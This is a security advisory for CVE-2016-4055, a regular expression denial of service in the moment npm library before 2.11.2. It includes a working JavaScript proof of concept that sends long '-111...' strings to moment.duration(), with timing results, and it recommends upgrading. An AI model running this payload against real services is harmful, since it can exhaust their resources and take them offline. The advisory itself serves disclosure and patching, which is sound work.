ModerateVulnerabilityGHSA-87vv-r9j6-g5qvCVE-2016-4055Published 24 Oct 2017
Regular Expression Denial of Service in moment
Affected · moment
- < 2.11.2
Fixed in
2.11.2
npm install moment@2.11.2Affected
1.0.0 – 2.11.1
39 releases
Fixed
2.11.2 – 2.31.0
41 releases, latest
What happens
Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().
Proof of concept
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}Results
$ node moment.js COUNT: 20000 LENGTH: 20002 [ 0, 618931029 ] COUNT: 30001 LENGTH: 30003 [ 1, 401413894 ] COUNT: 40002 LENGTH: 40004 [ 2, 437075303 ] COUNT: 50003 LENGTH: 50005 [ 3, 824664804 ] COUNT: 60004 LENGTH: 60006 [ 5, 651335262 ]
Recommendation
Please update to version 2.11.2 or later.